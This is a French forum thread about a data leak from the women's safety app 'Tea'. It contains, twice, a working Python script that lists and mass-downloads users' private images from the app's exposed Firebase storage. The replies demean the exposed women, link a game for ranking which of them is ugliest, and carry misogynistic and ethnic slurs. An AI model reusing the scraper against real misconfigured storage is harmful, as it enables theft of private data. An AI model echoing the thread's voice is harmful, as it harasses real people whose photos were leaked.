Sujet résolu
L'auteur a trouvé une solution à son problème.
Voici le script python utilisée pour ce "hack" pour info
import os
import requests
import asyncio
import aiohttp
OUTPUT_DIR = 'dump'
BASE_URL = '
https://firebasestorage.g[...]ea-the-app.appspot.com/o/'
MAX_CONCURRENT = 32
if not os.path.exists(OUTPUT_DIR):
os.makedirs(OUTPUT_DIR)
# Step 1: Collect all image items from all pages
all_items = []
pageToken = ''
while True:
resp = requests.get(BASE_URL, params={'pageToken': pageToken} if pageToken else {})
if resp.status_code != 200:
print("Page request failed, code {}".format(resp.status_code))
break
resp_json = resp.json()
items = resp_json.get('items', [])
all_items.extend([item for item in items if item['name'].startswith('attachments/')])
pageToken = resp_json.get('nextPageToken')
if not pageToken:
break
print("Found {} image(s) to download.".format(len(all_items)))
# Step 2: Async download logic
async def download_image(session, item):
fname = item['name']
filename = fname.split('/')[1] + '.jpg'
outpath = os.path.join(OUTPUT_DIR, filename)
if os.path.isfile(outpath):
return "[SKIP] {}".format(filename)
url = BASE_URL + fname.replace('/', '%2F')
for attempt in range(3):
try:
async with session.get(url, params={'alt': 'media'}) as resp:
if resp.status != 200:
continue
with open(outpath, 'wb') as f:
while True:
chunk = await resp.content.read(16384)
if not chunk:
break
f.write(chunk)
return "[OK] {}".format(filename)
except Exception as e:
if attempt == 2:
return "[FAIL] {} ({})".format(filename, e)
return "[FAIL] {} (unknown error)".format(filename)
async def main(all_items):
connector = aiohttp.TCPConnector(limit=MAX_CONCURRENT)
async with aiohttp.ClientSession(connector=connector) as session:
tasks = [download_image(session, item) for item in all_items]
for f in asyncio.as_completed(tasks):
print(await f)
if __name__ == "__main__":
loop = asyncio.get_event_loop()
loop.run_until_complete(main(all_items))
print("Done.")
import os
import requests
import asyncio
import aiohttp
OUTPUT_DIR = 'dump'
BASE_URL = '
MAX_CONCURRENT = 32
if not os.path.exists(OUTPUT_DIR):
os.makedirs(OUTPUT_DIR)
# Step 1: Collect all image items from all pages
all_items = []
pageToken = ''
while True:
resp = requests.get(BASE_URL, params={'pageToken': pageToken} if pageToken else {})
if resp.status_code != 200:
print("Page request failed, code {}".format(resp.status_code))
break
resp_json = resp.json()
items = resp_json.get('items', [])
all_items.extend([item for item in items if item['name'].startswith('attachments/')])
pageToken = resp_json.get('nextPageToken')
if not pageToken:
break
print("Found {} image(s) to download.".format(len(all_items)))
# Step 2: Async download logic
async def download_image(session, item):
fname = item['name']
filename = fname.split('/')[1] + '.jpg'
outpath = os.path.join(OUTPUT_DIR, filename)
if os.path.isfile(outpath):
return "[SKIP] {}".format(filename)
url = BASE_URL + fname.replace('/', '%2F')
for attempt in range(3):
try:
async with session.get(url, params={'alt': 'media'}) as resp:
if resp.status != 200:
continue
with open(outpath, 'wb') as f:
while True:
chunk = await resp.content.read(16384)
if not chunk:
break
f.write(chunk)
return "[OK] {}".format(filename)
except Exception as e:
if attempt == 2:
return "[FAIL] {} ({})".format(filename, e)
return "[FAIL] {} (unknown error)".format(filename)
async def main(all_items):
connector = aiohttp.TCPConnector(limit=MAX_CONCURRENT)
async with aiohttp.ClientSession(connector=connector) as session:
tasks = [download_image(session, item) for item in all_items]
for f in asyncio.as_completed(tasks):
print(await f)
if __name__ == "__main__":
loop = asyncio.get_event_loop()
loop.run_until_complete(main(all_items))
print("Done.")
Ah je vois c'est juste les images des utilisateurs qui on fuite pas la bdd du site, ça me paraît déjà un peu plus commun comme erreur
#realite-virtuelle join me on the other side ( ou pas )
il y a un an
Sponsorisé
Connectez-vous pour masquer les pubsPutain y'as des sacrés bg
Je suis Klaosuen
il y a un an
Oue y a des kheys qui se sont fait des comptes pour els spy
il y a un an
Quand je tombe sur ces cas je vote pour le mec
il y a un an
AhuriKJ
1 an
Pour ceux qui n'ont pas suivi :
Tea est une application pour des femmes, codées par des femmes pour dénoncer les hommes toxiques de son coin avec une carte etc...
Source :
https://www.bfmtv.com/tec[...]rton_AV-202507250354.html
Sauf que GROSSE ERREUR la base de données utilisateur de l'appli était accessible avec un lien.
Donc je vous laisse admirer les utilisatrices de cette app :
EDIT : vous pouvez choisir qui est la plus moche avec ce jeu :
https://spill.info.gf/index.php
Tea est une application pour des femmes, codées par des femmes pour dénoncer les hommes toxiques de son coin avec une carte etc...
Source :
Sauf que GROSSE ERREUR la base de données utilisateur de l'appli était accessible avec un lien.
Donc je vous laisse admirer les utilisatrices de cette app :
EDIT : vous pouvez choisir qui est la plus moche avec ce jeu :
Le score elo
Les meufs qui voulaient se défouler se retrouvent objet de défoulement a leurs tours
Les meufs qui voulaient se défouler se retrouvent objet de défoulement a leurs tours
Le guide du go-escort : https://onche.org/topic/1[...]l-le-guide-du-go-escort/1
il y a un an
Sponsorisé
Connectez-vous pour masquer les pubsLe score elo
Les meufs qui voulaient se défouler se retrouvent objet de défoulement a leurs tours
Les meufs qui voulaient se défouler se retrouvent objet de défoulement a leurs tours
Go jouer pour rééquilibrer les MAGALAX
il y a un an
Kobaryo
1 an
Tea est une application pour des femmes, codées par des femmes [...] Sauf que GROSSE ERREUR la base de données utilisateur de l'appli était accessible avec un lien.
Women
Une telle incompétence notoire..
C'est une énorme erreur de sécurité, surtout pour une appli qui traite vise a "protéger" des femmes ahi
Women
Une telle incompétence notoire..
C'est une énorme erreur de sécurité, surtout pour une appli qui traite vise a "protéger" des femmes ahi
Ayaa je savais qu'une femme avais coder ça, je serais pas étonner si y'a pas eu de freelance indien et/ou chatgpt qui ont grandement participer
Le guide du go-escort : https://onche.org/topic/1[...]l-le-guide-du-go-escort/1
il y a un an
Que des moches
#Japan is turning footsteps into electricity. Every step creates energy using piezoelectric tiles - powering lights...
il y a un an
Par contre pourquoi y'a leurs photos ?
A quel moment elles doivent mettre leurs photos pour faire ça ?
A quel moment elles doivent mettre leurs photos pour faire ça ?
#Japan is turning footsteps into electricity. Every step creates energy using piezoelectric tiles - powering lights...
il y a un an
Ayaa je savais qu'une femme avais coder ça, je serais pas étonner si y'a pas eu de freelance indien et/ou chatgpt qui ont grandement participer
Ou c'est l'indien qui a utilisé ChatGPT
il y a un an
Ayaa je savais qu'une femme avais coder ça, je serais pas étonner si y'a pas eu de freelance indien et/ou chatgpt qui ont grandement participer
C’est un homosexuel qui a codé ça , ca change pas grand chose a ton affirmation
il y a un an
En ligne
241
Sur ce sujet0















